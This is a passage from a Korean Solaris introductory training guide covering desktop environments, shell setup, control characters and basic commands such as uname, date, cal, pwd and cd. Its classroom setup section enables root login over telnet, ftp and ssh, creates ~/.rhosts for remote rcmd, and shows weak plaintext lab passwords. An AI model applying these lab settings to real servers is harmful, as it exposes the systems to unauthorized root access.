등을위한사용자인터페이스와일련의응용프로그램도나온다

25 Solaris Esstential Guide [ 참고 ] CDE 란? CDE 는 Open Group 에서제정된개방형시스템의 GUI 표준이다. Motif 에기반을두고, HP, IBM, 그리고다른회사들에서나온요소들을가미하였으며, 원래는 COSE 에의해관리되었다. 대부분의주요유닉스공급자들이 CDE 를지원한다. CDE 는또한원격프로그램실행과자신의작업공간에있는응용프로그램을일시적으로중지하거나재개하는등의능력을제공한다. CDE 라는상표는 X/Open, 즉 Open Group 에의해관리되어진다. [ 참고 ] JDS(Java Desktop System) 란? 썬자바데스크탑시스템 (Sun Java Desktop System) 은운영체제, 데스크탑애플리케이션, 개발툴, 시스템관리툴, 비즈니스사용자를위한지원서비스등을통합한통합데스크탑환경이다. 오픈소스소프트웨어컴포넌트는 GNOME 데스크탑환경, 스타스위트생산성스위트, 모질라브라우저, 에볼루션메일및일정클라이언트, J2SE 플랫폼을포함하고있다. 썬자바데스크탑시스템은서브스크립션가격모델을통해공급된다. ( 참고사이트 ) l l (5). 윈도우클라이언트에서유닉스서버로터미널접속 [ Window XP ] -----> [ Solairs Server ] 시작 > 실행 > cmd > telnet XXX > 사용자 ID/ 패스워드 (6) 참고웹사이트 (URL) (6.1) 솔라리스에관련한썬사이트모음 썬사이트 (Main Site) -> (GNU Package Site) (Patch Site) -> -> patch (Sun Manual Site) -> -> documentation (6.2) 솔라리스에관련한한국사이트모음 솔라리스한국참고사이트

26 Solaris Esstential Guide (7) 수업전환경설정사항 수업전에환경에관련한사항들을자동으로설정해주는 ENV_main.sh 스크립트를실행한다. 이스크립트는솔라리스환경을편하게사용할수있도록설정해주는스크립트이다. 스크립트가실행이되면아래와같은설정을해준다. (root 사용자의초기설정 ) # id # pwd -----> root 사용자는 /(root) 홈디렉토리 # echo $SHELL -----> root 사용자의로그인쉘은 sh( 본쉘 ) 콘쉘로변경 (/sbin/sh -> /bin/ksh) ENV_main.sh 스크립트실행 ENV_main.sh 스크립트는다음과같은역할을갖는다. ~/.profile 파일생성및설정 /* 관리자가편하게사용할수있도록설정 */ ~/.kshrc 파일생성및설정 /* 관리자가편하게사용할수있도록설정 */ ~/.exrc 파일생성및설정 /* vi 편집기의환경설정을위한설정 */ ~/.rhosts 파일생성및설정 /* 원격에서 rcmd 수행할수있도록설정 */ /etc/default/login 설정변경 /* root 사용자로 telnet 로그인가능하도록설정 */ /etc/ftpd/ftpusers 설정변경 /* root 사용자로 ftp 로그인가능하도록설정 */ /etc/sshd/sshd_config 파일설정변경 /* root 사용자로 ssh 로그인가능하도록설정 */ 1 ENV_main.sh 스크립트실행 # dfshares /* 서버에공유된자원확인 */ # mkdir /mnt/server /* 마운트포인터생성 */ # mount :/root/shell /mnt/server /* 공유자원마운트 */ # cd /mnt/server /* 마운트포인터로이동 */ #./ENV_main.sh /* 스크립트실행 */ # -> 아무런메시지없이실행이된다. 2 root 사용자의로그인쉘을 ksh 로변경 # passwd -e (Linux : chsh) Old shell: /sbin/sh New shell: /bin/ksh <----- "/bin/ksh" 입력 3 로그아웃 / 로그인 JDE 환경패널 (Pannel) > "Logout" 버튼클릭 -> 로그아웃 -> 로그인 [ 참고 ] <CTRL + ALT + > [solarisxxx@/]# [ 참고 ] 현재쉘에서환경파일적용 # ksh /* 현재 ksh 실행 */ #. /.profile /* 현재쉘에서.profile 파일실행 */ #. /.kshrc /* 현재쉘에서.kshrc 파일실행 */ <----- 쉘프롬프트변경확인 현재쉘 (ksh 가정 ) 에서.profile 파일과.kshrc 파일의내용을실행하여환경적용을하기위해서는.(Dot) 명령어를사용하면된다. 단.(Dot) 명령어를사용하면현재쉘과하위쉘에서만환경적용이된다. 모든쉘에서환경적용을하기위해서는다음과같이 Java Desktop System Release 3 에서 시작 -> 로그아웃 이후에다시로그인하면모든터미널에서새로생성된환경파일 (.profile,.kshrc) 들이적용된상태로사용이가능합니다

27 Solaris Esstential Guide (8). 제어문자 썬솔라리스에서다음과같은제어문자 (Control Charaters) 들을사용할수있다. 제어문자 (Control Charaters) CTRL + C Terminates the command currently running. CTRL + D Indicates end-of-file or exit. CTRL + U Erases all characters on the current command line. CTRL + W Erase the last word on the command line. CTRL + S Stops output to the screen CTRL + Q Restarts output to the screen after you have pressed Control-S -> 제어문자는단축키정도로생각하면된다. [ 실습 1] <CTRL + C> 현재실행중인프로그램을인터럽트걸어서종료하는역할을가진다. # man ls <CTRL + C> # find / -name core -type f <CTRL + C> [ 실습2] <CTRL + D> l " 파일의끝 " 의미 l " 현재쉘종료 " 의미 ( ㄱ ) 파일의끝 (EOF) 의의미를갖는다. # mkdir -p /test /* /test 디렉토리생성 */ # cd /test /* /test 디렉토리로이동 */ # cat > file1<enter> /* 파일을생성하기위해서 cat 명령어실행 */ Hello, Solaris<ENTER> /* 파일의내용입력 */ <CTRL + D> /* 파일의끝 (EOF) 을의미를나타내는 <CTRL + D> */ # cat file1 /* 파일의내용확인 */ ( ㄴ ) 현재쉘을종료하는의미를갖는다. # telnet /* 서버 ( ) 로원격로그인시도 */ Trying Connected to Escape character is '^]'. login: root <----- 'root' 입력 Password: <----- 'knit' 입력 Last login: Tue Mar 11 11:04:50 from solaris215 Sun Microsystems Inc. SunOS 5.9 Generic January 2003 # hostname /* 자신의서버이름확인 */ # <CTRL + D> /* 로그인아웃을나타내는 <CTRL + D> */ [ 실습 3] <CTRL + U> 명령어라인전체를지워주는역할을갖는다. # find / -name core -type f<ctrl + U> /* find 명령어를통해 core 파일을검색 */

28 Solaris Esstential Guide [ 실습 4] <CTRL + W> 명령어라인상에마지막단어를지워주는역할을갖는다. # find / -name core -type f<ctrl + W><CTRL + W><CTRL + W><CTRL + U> [ 실습5] <CTRL + S>, <CTRL + Q> 명령어출력결과가긴경우출력화면을멈춰놓거나, 계속진행할수있도록한다. # du / /* /(root) 을포함하여하위의모든파일 / 디렉토리용량점검 */ <CTRL + S> /* 출력화면멈춤 */ <CTRL + Q> /* 다시화면출력 */ <CTRL + S> /* 출력화면멈춤 */ <CTRL + C> /* 실행중인프로세스인터럽트걸어서종료 */ (9). 수업에사용되는사용자 수업을위한사용자 (user01) 추가 # useradd -m -d /export/home/user01 -s /bin/ksh user01 /* user01 사용자추가 */ # passwd user01 /* user01 사용자암호설정 */ New Password: user01 <----- 'user01' 입력 Re-enter new Password: user01 <----- 'user01' 입력 passwd: password successfully changed for user01 # grep user01 /etc/passwd /* user01 사용자등록확인 */ user01:x:4029:1::/export/home/user01:/bin/ksh (11). 사용자의쉘프롬프트 (Shell Prompt) 본쉘계열 (sh, ksh, zsh, bash) 의쉘을사용하는사용자라면일반사용자의기본프롬프트는 '$' 이고, root 사용자의기본프롬프트는 '#' 이다. l root 사용자 : # l 일반사용자 : $ (12). 터미널실행 # echo $TERM /* 현재쉘의 TERM 변수확인 */ xterm # xterm & /* xterm 프로그램실행 */ # gnome-terminal & # dtterm & /* dtterm 프로그램실행 */ # echo $TERM /* 새로실행된터미널 (dtterm) 에서 TERM 변수확인 */ dtterm [ 참고 ] 실행이안되는경우 (PATH 변수확인 ) # /usr/dt/bin/dtterm &

29 Solaris Esstential Guide [ 참고문서 ] JDS(Java Desktop System) 환경설정 l -> 솔라리스강좌 [ 사용자 ] 게시판 -> 114번자료솔라리스설치문서 l -> 솔라리스강좌 [ 관리자 ] 게시판 -> 179번자료 (Solaris10InstallationProcess.ppt) -> 184번자료 (pdf_sol10_solarisinstallationguide_2009_0921.pdf) [ 참고 ] special characters pronunciation guide 다음은 에서발취한내용입니다. (ASCII) special characters pronunciation guide ; ( 아스키 ) 특수문자의발음 여러분들은 ""vi", "!", 또는 "/*" 등과같은것들을어떻게발음하십니까? 사실, 이러한주제에대해네트웍상에서토론하는것은매우지루하고또무의미한논쟁입니다. 어떤사람은이것을마치하나의단어인것처럼발음하여 " 뷔 " 라고할수도있고, 어떤사람은따로발음하여 " 뷔 - 아이 " 라고 (vi 매뉴얼에서는이발음을권장하고있습니다 ) 발음할수도있습니다. 심지어어떤로마의수학자라면, "6" 이라고읽을수도있겠지요. 그러나, "vi" 를어떻게발음하는가하는것은당신이진정한유닉스의귀재이든아니든상관없습니다. 이와마찬가지로 "char" 을 " 캐어 "(care 의발음으로 ) 로발음하거나, 또는 "#", "/*", "!", "tty" 또는 "/etc" 등도모두수없이많은방법으로발음되고있습니다. 그러므로, 특히누구의발음이옳다고판단할수는없습니다. 다만사투리나지방마다의강세등지역적인차이라고생각하고, 그러한것들을누릴수밖엔다른수가없죠. 이러한주제는네트웍에서지속적으로나타나고있기때문에, 여기에이제까지전해지고있는포괄적인이름표를게시합니다. 다만, 앞부분에대문자로표시된이름이비교적가장흔히사용되는이름이라할수있으며, 뒤로갈수록적은빈도로사용되고있습니다. 유닉스분야에서유래된이름에는 * 표시를, C 언어로부터유래된이름에는 + 를그리고네트웍상의컴퓨터전문가들로부터유래된이름에는 & 표시를하였습니다. 다음페이지의표를참고하기바란다

30 Solaris Esstential Guide 문자많이쓰이는이름그외의이름들 SPACE blank, ghost&! EXCLAMATION POINT " QUOTATION MARK # CROSSHATCH $ DOLLAR SIGN exclamation (mark), (ex)clam, excl, wow, hey, boing, bang, shout, yell, shriek, pling, factorial, ball-bat, smash, cuss, store, potion&, not*+, dammit* (double) quote, dirk, literal mark, rabbit ears, double ping, double glitch, amulet&, web&, inverted commas pound, pound sign, number, number sign, sharp, octothorpe, hash, (garden) fence, crunch, mesh, hex, flash, grid, pig-pen, tictactoe, scratch (mark), (garden) gate, hak, oof, rake, sink&, corridor&, unequal, punch mark dollar, cash, currency symbol, buck, string, escape, ding, big-money, gold&, Sonne % PERCENT SIGN percent, mod+, shift-5, double-oh-seven, grapes, food& & AMPERSAND and, amper, address+, shift-7, andpersand, snowman, bitand+, donald duck, daemon&, background*, pretzel ' APOSTROPHE (single) quote, tick, prime, irk, pop, spark, glitch, lurker above& * ASTERISK star, splat, spider, aster, times, wildcard*, gear, dingle, (Nathan) Hale, bug, gem&, twinkle, funny button, pine cone, glob* () PARENTHESES parens, round brackets, bananas, ears, bowlegs ( LEFT PARENTHESIS (open) paren, so, wane, parenthesee, open, sad, tool& ) RIGHT PARENTHESIS already, wax, unparenthesee, close (paren), happy, thesis, weapon& + PLUS SIGN plus, add, cross, and, intersection, door&, spellbook&, COMMA tail, trapper& - HYPHEN minus (sign), dash, dak, option, flag, negative (sign), worm, bithorpe. PERIOD dot, decimal (point), (radix) point, spot, full stop, put, floor& / SLASH stroke, virgule, solidus, slant, diagonal, over, slat, slak, across, compress, reduce, replicate, spare, divided-by, wand&, forward slash, shilling : COLON two-spot, double dot, dots, chameleon& ; SEMICOLON semi, hybrid, giant eel&, go-on <> ANGLE BRACKETS angles, funnels, brokets, pointy brackets, widgets < LESS THAN less, read from*, from*, in*, comesfrom*, crunch, sucks, left chevron, open pointy (brack[et]), bra, upstairs&, west, (left open) widget > GREATER THAN more, write to*, into/toward*, out*, gazinta*, zap, blows, right chevron, closing pointy (brack[et]), ket, downstairs&, east, (right close) widget = EQUAL SIGN equal(s), gets, becomes, quadrathorpe, half-mesh, ring&? QUESTION AT SIGN question, query, whatmark, what, wildchar*, huh, ques, kwes, quiz, quark, hook, scroll&, interrogation point at, each, vortex, whirl, whirlpool, cyclone, snail, ape (tail), cat, snable-a, trunk-a, rose, cabbage, Mercantile symbol, strudel, fetch, shopkeeper&, human&, commercial-at, monkey (tail) [] BRACKETS square brackets, U-turns, edged parentheses [ LEFT BRACKET bracket, bra, (left) square (brack[et]), opensquare, armor& ] RIGHT BRACKET unbracket, ket, right square (brack[et]), unsquare, close, mimic& \ BACKSLASH ^ _ ` CIRCUMFLEX UNDERSCORE GRAVE {} BRACES reversed virgule, bash, (back)slant, backwhack, backslat, escape*, backslak, bak, scan, expand, opulent throne&, slosh, slope, blash caret, carrot, (top)hat, cap, uphat, party hat, housetop, up arrow, control, boink, chevron, hiccup, power, to-the(-power), fang, sharkfin, and, xor+, wok, trap&, pointer, pipe*, upper-than underline, underbar, under, score, backarrow, flatworm, blank, chain&, gets, dash, sneak (grave/acute) accent, backquote, left/open quote, backprime, unapostrophe, backspark, birk, blugle, backtick, push, backglitch, backping, execute, boulder&, rock&, blip curly braces, squiggly braces, curly brackets, squiggle brackets, Tuborgs, ponds, curly chevrons, squirrly braces, hitchcocks, chippendale brackets { LEFT BRACE brace, curly, leftit, embrace, openbrace, begin+, fountain& } RIGHT BRACE unbrace, uncurly, rytit, bracelet, close, end+, a pool& VERTICAL BAR ~ TILDE pipe*, pipe to*, vertical line, broken line, bar, or+, bitor+, vert, v-bar, spike, to*, gazinta*, thru*, pipesinta*, tube, mark, whack, gutter, wall& twiddle, tilda, tildee, wave, squiggle, swung dash, approx, wiggle, enyay, home*, worm, not

31 Solaris Esstential Guide UNIX 명령어형식 솔라리스에서는사용자가명령어를입력하게되면쉘에서이명령어를해석하여작업을하게된다. 솔라리스의모든명령어는명령어이름외에도옵션 (Options) 과인자 (Argument) 가있다. 옵션은명령어의동작을달리할때사용하고인자는명령어의인자나혹은옵션의인자로서사용이될수있다. 명령어의옵션은 - (dash) 기호다음에와야한다. 솔라리스의기본명령어형식은다음과같다. # command [option(s)] [argument(s)] V V V # ls -l /var 명령어를사용하는다양한형식은다음과같다. "Command" 사용하는경우 "Command Options" 사용하는경우 "Command Arguments" 사용하는경우 "Command Options Arguments" 사용하는경우 한개의명령어라인에여러명령어사용하는경우

32 Solaris Esstential Guide ( 명령어 ) # ls /* 현재디렉토리안의내용을출력 */ # cal /* 현재달 ( 달력 ) 을출력 */ # uname /* 운영체제의종류를출력 */ ( 명령어 + 옵션 ) # uname -sr /* 운영체제의종류와버전을출력 */ # uname -a /* 운영체제의기본적인정보출력 */ # ls -l /* 현재디렉토리안의내용을자세하게출력 */ ( 명령어 + 인자 ) # ls /var /* /var 디렉토리안의내용을출력 */ # cal 2002 /* 2002년도달력출력 */ ( 명령어 + 옵션 + 인자 ) # ls -l /var /* /var 디렉토리안의내용을자세하게출력 */ [ 참고 ] 옵션에대한설명 # ls a -l -F /* 3개의옵션을나란히지정한경우 */ # ls -al -F /* 2개의옵션은붙여서 1개의옵션은따로지정한경우 */ # ls -alf /* 3개의옵션을함께지정한경우 */ # ls -afl /* 3개의옵션의순서를바꾸어서함께지정한경우 */ [ 참고 ] 옵션의인자가존재하는경우의예 ( 예 ) # find / -name core -type f # cmd -i -f arg1 (0) # cmd -f arg1 -i (0) # cmd -if arg1 (0) # cmd -fi arg1 (X) [ 참고 ] 명령어를잘못입력하는경우 명령어를잘못입력하는경우사용하는명령어의간단한사용방법이출력된다. # find /* find 명령어를잘못수행한경우 */ # cp /* cp 명령어를잘못수행한경우 */ # mv /* mv 명령어를잘못수행한경우 */ # rm /* rm 명령어를잘못수행한경우 */ # ls -? /* ls 명령어를잘못수행한경우 */ # date -? /* date 명령어를잘못수행한경우 */

33 Solaris Esstential Guide 운영체제의전반적인정보들을확인하는명령어들을중요하다. 어떤작업을하기위해서는반드시정보를확인해야하기때문이다. 다음에나오는명령어들은운영체제의기본적인정보인운영체제의종류, 버전, 커널아이디, 시간, 달력등을확인하는명령어들이다. 운영체제의정보를확인하는명령어들의종류는다양한다. Ÿ 네트워크정보확인 # ifconfig -a /* IP 정보확인 */ # netstat -nr /* 기본라우터정보확인 */ # cat /etc/resolv.conf /* DNS 서버지정 */ Ÿ 디스크정보 # df -h /* 디스크파티션정보 */ # metadb /* RAID MetaDB 정보확인 */ # metastat /* RAID 정보확인 */ Ÿ 하드웨어정보 # prtdiag -v /* 하드웨어에대한전반적인정보확인 */ # prtconf -v /* 하드웨어에대한자세한정보확인 */ Ÿ 성능정보 # sar 1 5 /* CPU 부하량점검 */ # vmstat 1 5 /* Memory/Swap 부하량점검 */ # iostat 1 5 /* Disk I/O 부하량점검 */ # netstat -i 2 /* Network I/O 부하량점검 */ # prtstat /* 프로세스부하량점검 */

34 Solaris Esstential Guide uname 명령어 NAME uname - print name of current system DESCRIPTION The uname utility prints information about the current system on the standard output. When options are specified, symbols representing one or more system characteristics will be written to the standard output. If no options are specified, uname prints the current operating system's name. The options print selected information returned by uname(2), sysinfo(2), or both. OPTIONS The following options are supported: -a Prints basic information currently available from the system. -i Prints the name of the hardware implementation(platform). -m Prints the machine hardware name (class). Use of this option is discouraged; use uname -p instead. See NOTES section below. -n Prints the nodename (the nodename is the name by which the system is known to a communications network). -p Prints the current host's ISA or processor type. -r Prints the operating system release level. -s Prints the name of the operating system. This is the default. -X Prints expanded system information, one information element per line, as expected by SCO UNIX. The displayed information includes: o system name, node, release, version, machine, and number of CPUs. o BusType, Serial, and Users (set to "unknown" in Solaris) o OEM# and Origin# (set to 0 and 1, respectively) uname 명령어는시스템에대한기본적인정보를모니터에출력하는명령어이다. 출력되는정보들은 sysinfo(2), uname(2) 에의해출력되는정보들이다. 운영체제의종류와버전확인 (OS + Version) 커널패치버전확인 (Kernel ID, Kernel Patch Version) ( 명령어형식 ) # uname -a # uanme -s /* 운영체제종류 ( 예 : SunOS) */ # uname -r /* 운영체제릴리즈 ( 예 : 5.10) */ # uname -sr /* 운영체제종류 + 릴리즈 ( 예 : SunOS 5.10) */ # uname -n /* 호스트이름 ( 예 : solarisxxx) */ # uname -i /* 머신아키텍쳐 ( 예 : i86pc) */ # uname -p /* 프로세스종류 ( 예 : i386) */ # uname -m /* 하드웨어구현플랫폼 ( 예 : i86pc) */

35 Solaris Esstential Guide ( 출력화면 ) Solaris 10 x86 on VMWare # uname -a SunOS solaris Generic_ i86pc i386 i86pc ( 출력화면 ) Solaris 9 x86 on VMWare # uname -a SunOS solaris Generic_ i86pc i386 i86pc ( 출력화면 ) Sun Ultra Sparc 10 # uname -a SunOS sun Generic_ sun4u sparc SUNW,Ultra-5_10 ( 출력화면 ) Sun Blade 2500 # uname -a SunOS solaris Generic_ sun4u sparc SUNW,Sun-Blade-2500 ( 출력화면 ) Sun Enterprise 3500 # uname -a SunOS sun Generic_ sun4u sparc SUNW,Ultra-Enterprise ( 출력화면 ) Sun Blade 150 # uname -a SunOS solaris Generic_ sun4u sparc SUNW,Sun-Blade-100 (uname -a 명령어출력결과해석 ) 종류설명 SunOS : 운영체제종류 solaris253 : 호스트이름 5.10 : 운영체제릴리즈 Generic_ : 커널아이디 ( 커널식별자 ) sun4u : 머신아키텍쳐 ( 예 : sun4u, sun4m, sun4c,...) sparc : 프로세스종류 ( 예 : sparc, i386, i686,...) SUNW,Sun-Blade-100 : 하드웨어구현플랫폼 ( 예 : SUNW,Sun-Blade-100)

36 Solaris Esstential Guide psrinfo - displays information about processors [EX] 프로세스정보확인 # psrinfo # psrinfo -p # psrinfo -pv # psrinfo -v [ 참고 ] 프로세서 (CPU) 에대한정보 [ 참고 ] 서버의운영체제종류와버전확인 # cat /etc/release (Intel Platform, Solaris 9) Solaris 9 9/05 s9x_u8wos_05 x86 Copyright 2005 Sun Microsystems, Inc. All Rights Reserved. Use is subject to license terms. Assembled 01 August 2005 # cat /etc/release (Sparc Platform, Solaris 9, Enterprise 3500) Solaris 9 9/05 s9s_u8wos_05 SPARC Copyright 2005 Sun Microsystems, Inc. All Rights Reserved. Use is subject to license terms. Assembled 04 August 2005 [ 참고문서 ] 솔라리스시스템의전반적인정보확인명령어 l -> " 솔라리스강좌 [ 관리자 ]" -> 192번자료 운영체제 & 서버에대한전반적인정보확인 [ 참고문서 ] 운영체제대한자세한매뉴얼은 솔라리스 10 솔라리스 9 솔라리스 8 서버 ( 장비 ) 에대한자세한매뉴얼은 Server and Storage Systems -> Legacy Product Documentation( 예전서버들에대한정보 )

37 Solaris Esstential Guide date 명령어 NAME date - write the date and time DESCRIPTION The date utility writes the date and time to standard output or attempts to set the system date and time. By default, the current date and time will be written. Specifications of native language translations of month and weekday names are supported. The month and weekday names used for a language are based on the locale specified by the environment variable LC_TIME. See environ(5). The following is the default form for the "C" locale: %a %b %e %T %Z %Y (Fri Dec 23 10:10:42 EST 1988) OPERANDS The following operands are supported: +format mm dd HH MM SS cc yy If the argument begins with +, the output of date is the result of passing format and the current time to strftime(). date uses the conversion specifications listed on the strftime(3c) manual page, with the conversion specification for %C determined by whether /usr/bin/date or /usr/xpg4/bin/date is used: /usr/bin/date Locale's date and time representation. This is the default output for date. /usr/xpg4/bin/date Century (a year divided by 100 and truncated to an integer) as a decimal number [00-99]. The string is always terminated with a NEW- LINE. An argument containing blanks must be quoted; see the EXAMPLES section. Month number Day number in the month Hour number (24 hour system) Minute number Second number Century (a year divided by 100 and truncated to an integer) as a decimal number [00-99]. For example, cc is 19 for the year 1988 and 20 for the year Last two digits of the year number. If century (cc) is not specified, then values in the range shall refer to years 1969 to 1999 inclusive, and values in the range shall refer to years 2000 to 2068, inclusive. 운영체제의시간은운영체제가운영되는기준시간을나타낸다. 따라서서버에서는모든시스템동작의기준이되는운영체제시간이정상이어야한다. 이런이유로해서운영체제의시간은정기적으로시간을제공하는서버에동기화되어야한다. 네트워크상에서운영체제가사용할수있는시간을제공하는서버를 NTP(Network Time Protocol) 서버라고부른다. date 명령어는운영체제의시간을관리자가확인하고설정할수있는명령어이다

38 Solaris Esstential Guide 운영체제의시간을확인하거나설정할수있다. root 사용자 : 현재시간을설정및확인할수있다. 일반사용자 : 현재시간만확인할수있다. ( 명령어형식 ) # date # date (8 월 16 일 13:00) [ 참고 ] 소프트웨어클럭 & 하드웨어클럭시간의종류 (Clock Type) Software Clock ( 운영체제의시간 ) Hardware Clock ( 펌웨어의시간 ) [EX] 운영체제시간변경예 # date /* 현재운영체제날짜 / 시간확인 */ Thu May 7 19:54:53 KST 2009 # date /* 예 : , 운영체제시간을 root 사용자가바꾼다. */ Thu Aug 20 13:00:00 KST 2009 # rdate /* 운영체제시간을다른서버에동기화시킨다. */ Thu May 7 19:56: ( 선수작업 ) # cp /etc/nsswitch.dns /etc/nsswitch.conf # echo "nameserver " > /etc/resolv.conf # nslookup [ 참고 ] 실무에서서버시간동기화시많이사용되는방법 # rdate time.bora.net /* bora.net : time 서버 */ # ntpdate time.kriss.re.kr /* 한국표준연구원 : NTP 서버 */ [ 참고 ] date 명령어의시간출력형식변경 (# man date) # date +%m%d (m : Month, d : Day) # date +%m%d_%h%m (H : Hour, M : Minute) [EX] 로그파일이름형식 (Log Filename Format) 유닉스에서의대부분의프로그램은하루에한번씩로그파일을만들도록하는경우가많이존재한다. 이런경우 date 명령어를아래와같이응용하여사용하는경우가많다. 로그파일이름형식 : file_1211.log (12 월 11 일로그 ) # mkdir -p /test # cd /test # touch file_`date +%m%d`.log /* `date + %m%d` : 오늘날짜 ( 월 / 일 ) */ # ls -l /* 생성된파일확인 */ -rw-r--r-- 1 root root 0 May 7 14:48 file_0507.log [ 참고 ] xclock, oclock # xclock & # oclock &

39 Solaris Esstential Guide cal 명령어 NAME cal - display a calendar DESCRIPTION The cal utility writes a Gregorian calendar to standard output. If the year operand is specified, a calendar for that year is written. If no operands are specified, a calendar for the current month is written. NOTES An unusual calendar is printed for September That is the month 11 days were skipped to make up for lack of leap year adjustments. To see this calendar, type: cal The command cal 83 refers to the year 83, not The year is always considered to start in January. cal 명령어는달력을출력하는명령어이다. 유닉스시스템에서달력을출력하는경우는드물고, 보통윈도우환경에서오른쪽하단의시간아이콘을클릭하여확인하는경우가대부분이다. 하지만유닉스환경만사용이가능하고, 스케줄러 ( 예 : crontab) 를사용하는경우라면특정날짜와요일을확인할때유용하게사용된다. ( 명령어형식 ) # cal /* 현재월의달력표시 */ # cal 2002 /* 2002년달력모두표시 */ # cal /* 2002년 8월달력표시 */ [EX1] cal 명령어 # cal /* 현재월의달력표시 */ May 2009 S M Tu W Th F S # cal /* 2004 년 8 월달력표시 */ August 2004 S M Tu W Th F S

40 Solaris Esstential Guide 유닉스계열의운영체제는시스템에존재하는모든것을파일로인식한다. 디렉토리도파일의한가지종류로보며, 디렉토리파일 ( 이하디렉토리또는폴더 ) 이라고한다. 디렉토리안에는수많은종류의파일이존재할수있으며, 디렉토리간의이동을하기위해서는 cd 명령어를사용한다. 또한현재디렉토리위치를확인하기위해서는 pwd 명령어를사용한다

41 Solaris Esstential Guide pwd 명령어 NAME pwd(print Working Directory) - Return the current working directory SYNOPSIS pwd DESCRIPTION Returns the path name of the current working directory. The pwd utility writes an absolute path name of the current working directory to standard output. Both the Bourne shell, sh(1), and the Korn shell, ksh(1), also have a built-in pwd command. 현재어떤디렉토리에위치하는지확인하기위해서는 pwd 명령어를사용할수있다. ( 명령어형식 ) # pwd [ 참고 ] PS1 변수설정 pwd 명령어를디렉토리변경할때마다치는것은불편하다. 따라서 PS1 변수 ( 쉘프롬프트를정의할때사용하는변수 ) 를환경변수에선언하여사용하면 pwd 명령어를궂이사용하지않아도된다. 실무에서는대부분 PS1 변수를사용하여 # PS1='[$PWD]# ' # export PS1 [EX1] PS1 실습 # PS1='a ' /* 쉘프롬프트를 a 로설정 */ # PS1='[$PWD]# ' /* 쉘프롬프트에 $PWD 변수넣음 */ #. /.kshrc /* 원래쉘프롬프트로변경 */

42 Solaris Esstential Guide cd 명령어 NAME cd - Change working directory SYNOPSIS cd [dirname] DESCRIPTION Change the current working directory to dirname, or to the home directory (as specified in the HOME environment variable) if dirname is not given. Returns an empty string. 작업디렉토리를변경하고자할때사용한다. 인자 (Argument) 인디렉토리명은이동하고자하는경로명을나타낸다. 디렉토리명을지정하지않고 cd 명령어를단독으로사용하면현재작업디렉토리가어디에있든지사용자의홈디렉토리로이동한다. cd 명령어는디렉토리를변경하는명령어이다. cd 명령어를사용하여디렉토리경로를변경하는경우상대경로 (Relative Path) 나절대경로 (Absolute Path) 를사용할수있다. 상대경로 (Relatvie Path) 는이동하는기준이현재디렉토리이며, 현재디렉토리를기준으로위, 아래로이동하는할때사용한다. 절대경로 (Absolute Path) 는이동하는기준이최상위디렉토리 (/) 이며, root(/) 디렉토리를기준으로이동할때사용한다. 작업시에는상대경로를사용하여이동하는경우, 즉작업디렉토리안에들어가서직접파일을다루는방법을권장한다. 이것은명령어실수로인해불의의사고를예방할수있거나, 최소화할수있기때문이다. 경로 (PATH) 상대경로 (Relative Path, 현재디렉토리를기준 ) 절대경로 (Absolute Path, / 디렉토리를기준 ) / data1 export test etc... home user01 [EX] 상대경로사용예제 # pwd /* 현재디렉토리가 /(root) 에있다면 */ # cd export /* 하위의 export 디렉토리로이동하는경우 */ # cd.. /* 상위디렉토리로다시이동하는경우 */ # cd export/home /* 현재디렉토리하위의 export/home 디렉토리로이동하는경우 */ # cd../../ /* 상위 / 상위디렉토리로이동하는경우 */ [EX] 절대경로사용예제 # cd /etc # cd /export/home # cd /usr

43 Solaris Esstential Guide [ 참고 ] 경로 (PATH) 이름의축약형. (Single Period) 현재작업디렉토리를나타낸다... (Double Period) 현재작업디렉토리의상위디렉토리를나타낸다. # vi./testfile1 /* 현재디렉토리에 testfile1 vi 편집기로열기 */ #./dir.sh /* 현재디렉토리에 dir.sh 실행 */ # find. -name core -type f /* 현재디렉토리하위의 core 파일검색 */ # pkgadd -d. vim-7.2-sol10-x86-local /* 현재디렉토리에 vim 패키지설치 */ # cd.. /* 상위디렉토리로이동 */ # cd../.. /* 상위 / 상위디렉토리로이동 */ [ 참고 ] 디렉토리 / 파일구분 /export/home/user01 A A A (a) (b) (c) (a) => /(root) 디렉토리 (b),(c) => 디렉토리의구분자 (a) 번의 /(root) 는최상위디렉토리를나타낸다. 만약 /(root) 가존재하지않는다면현재디렉토리를나타낸다. (b),(c) 번의 /(Slash) 는디렉토리와디렉토리또는디렉토리와파일을구분하는구분자이다. [EX] /export/home/user01 # cd.. # cd../ # cd../.. # cd../../ # cd /test # cd /test/ [EX] /export/home/user01 # cp r /export/home/user01 /test # cd /export/home # cp r user01 /test [ 참고 ] user01 사용자의홈디렉토리로이동하는방법 user01 사용자의홈디렉토리로이동하는방법 root 사용자의홈디렉토리 : /(root) 일반사용자의홈디렉토리 : /export/home/user01 $ cd /* 홈디렉토리로이동 */ $ cd ~ /* ~ : 홈디렉토리 (EX: # vi ~/.profile) */ $ cd ~user01 ($ cd ~/user01) /* user01 사용자의홈디렉토리로이동 */ $ cd $HOME ($ echo $HOME) /* $HOME 변수를사용하여홈디렉토리로이동 */ $ cd /export/home/user01 /* 직접홈디렉토리를입력하는경우 */

44 Solaris Esstential Guide [ 참고 ] 편리한기능 (Tip) # cd - /* 이전디렉토리로이동하는경우 */ # cd../dir2 /* 옆에디렉토리로이동하는경우 */ 1 "cd - " 사용한이전디렉토리로이동 ( 시나리오 ) 사용자가 /etc 디렉토리에서작업을하다가 /export/home/user01 디렉토리로이동하는경우라면, /export/home/user01 디렉토리가이름이길이가길고, 현재디렉토리와멀리떨어져있기때문에상대경로나절대경로를사용하는경우가모두불편하게된다. 이런경우이전디렉토리로바로이동하기위해서 "cd - " 명령어를사용한다. "cd -" 를사용하는경우는두개의작업디렉토리를왔다갔다하며작업하는경우에유용하다. (/etc 디렉토리 ) <------> (/export/home/user01 디렉토리 ) # cd /etc /* 작업디렉토리 (/etc) 로이동 */ 작업 # cd /export/home/user01 /* 작업디렉토리 (/export/home/user01) 로이동 */ 작업 # cd /etc /* 작업디렉토리 (/etc) 로이동 */ 작업 # cd - /* 이전작업디렉토리로이동 */ # cd - /* 이전작업디렉토리로이동 */ # cd - /* 이전작업디렉토리로이동 */ 2 옆에있는디렉토리로이동하는경우아래예제그림에서현재디렉토리가 dir2 라면, dir1 디렉토리로이동하는경우에보통은상단디렉토리인 /test 디렉토리로이동후에 dir1 디렉토리로이동한다. 하지만 dir1 디렉토리의이름을알고있는경우라면 cd../dir1" 형식을사용하여바로이동이가능하다. / export etc test dir1 dir2 현재디렉토리 : dir2 목적디렉토리 : dir1 # cd.. /* 상위디렉토리로이동 */ # cd dir1 /* 현재디렉토리아래존재하는 dir1 